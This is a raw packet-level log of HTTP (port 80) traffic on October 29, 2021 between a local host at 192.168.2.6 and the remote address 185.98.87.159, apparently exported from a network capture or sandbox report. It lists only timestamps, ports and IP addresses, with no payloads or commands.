Oct 29, 2021 17:55:37.630006075 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630024910 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630040884 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630042076 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.630058050 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630065918 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.630079031 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630089045 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.630096912 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630115032 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.630125046 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.630167007 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681041002 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681072950 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681195021 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681206942 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681220055 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681245089 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681267977 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681276083 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681292057 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681309938 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681315899 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681339025 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681361914 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681365013 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681406021 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681550980 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681574106 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681596994 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681621075 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.681643963 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681682110 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.681929111 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.682270050 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.682539940 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.682622910 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.682671070 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.682809114 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.682861090 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.682941914 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.683152914 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.683212996 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.732690096 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732722998 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732748032 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732772112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732795000 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732819080 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732841969 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732863903 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.732887983 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732913017 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732935905 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732938051 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.732959032 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732966900 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.732984066 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.732990980 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.733009100 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733017921 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.733031988 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733078003 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.733690023 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733716011 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733741999 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733764887 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733792067 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.733848095 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.733875990 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733900070 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.733946085 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.734235048 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.734258890 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.734316111 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784240007 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784271955 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784295082 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784317017 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784444094 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784471989 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784492970 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784497976 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784548998 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784564018 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784589052 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784610987 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784635067 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784641981 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784660101 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784679890 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784682989 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784722090 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784725904 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.784795046 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.784909010 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.785172939 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785224915 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785248041 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785270929 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785310984 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.785357952 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.785640955 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785689116 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785712004 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785753965 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785758018 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.785778046 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785801888 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.785830021 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.785864115 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.835810900 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835846901 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835871935 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835891008 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835916042 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835925102 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.835939884 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835964918 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835988998 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.835992098 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836013079 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836029053 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836036921 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836060047 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836082935 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836082935 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836112022 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836127043 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836688995 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836713076 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836735010 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836745024 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836760044 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836782932 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836791039 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836806059 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836828947 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836829901 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836864948 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836889982 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836911917 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836914062 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836937904 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.836955070 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.836996078 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.837003946 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887274981 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887392044 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887641907 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887665987 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887689114 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887696028 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887713909 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887732029 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887738943 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887762070 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887782097 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887784004 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887806892 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887829065 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887837887 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887852907 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887870073 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.887948990 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887973070 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.887995005 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888209105 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888233900 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888257980 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888279915 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888283014 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888303995 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888328075 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888335943 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888351917 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888356924 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888376951 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888395071 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888400078 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888425112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888447046 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888463020 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.888468981 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.888494015 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.934123993 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.945774078 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.945802927 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.945827007 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.945848942 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.945873022 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.945914030 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.945975065 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.946719885 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.946743965 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.946767092 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.946789026 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.946839094 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.946868896 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.949265957 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.949290991 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.949314117 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.949337006 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.949469090 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.949493885 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.954360962 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.954379082 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.954396009 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.954411983 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.954416037 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.954458952 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.958211899 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.958230972 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.958246946 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.958264112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.958316088 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.961438894 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.961472034 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.961500883 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.961544991 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.961595058 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.961652994 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.985477924 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.985497952 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.985575914 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.997113943 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997133017 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997149944 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997168064 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997241020 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.997275114 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.997834921 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997854948 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997870922 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997888088 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.997905970 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.997961044 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.000555038 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000574112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000591993 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000607967 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000637054 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000669003 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.000686884 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.000724077 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.005522013 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.005542994 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.005558968 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.005700111 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.009397030 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.009417057 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.009433985 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.009450912 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.009480953 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.009533882 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.013689041 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.013708115 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.013807058 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.013885021 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.013901949 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.013963938 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.021224976 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.036727905 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.036748886 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.036840916 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.049068928 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049088001 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049104929 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049119949 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049138069 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.049168110 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.049504042 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049521923 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049537897 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049554110 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.049593925 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.049623966 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.052154064 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052171946 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052229881 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052246094 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052263021 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.052305937 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.052531958 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052547932 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.052608013 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.057549953 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.057569981 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.057586908 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.057602882 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.057607889 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.057637930 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.060695887 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.060714006 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.060729980 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.060745955 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.060774088 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.060883045 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.065179110 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.065197945 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.065215111 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.065231085 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.065356970 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.088263035 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.088282108 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.088298082 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.088315010 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.088347912 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.088429928 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.100334883 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100469112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100474119 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.100919962 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100938082 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100955009 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100970984 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.100986958 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.101002932 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.101002932 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.101067066 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.103332043 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103351116 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103368998 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103384972 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103442907 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.103676081 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103693962 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.103759050 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.108767033 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.108786106 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.108803034 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.108819962 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.108864069 CEST	49840	80	192.168.2.6	185.98.87.159
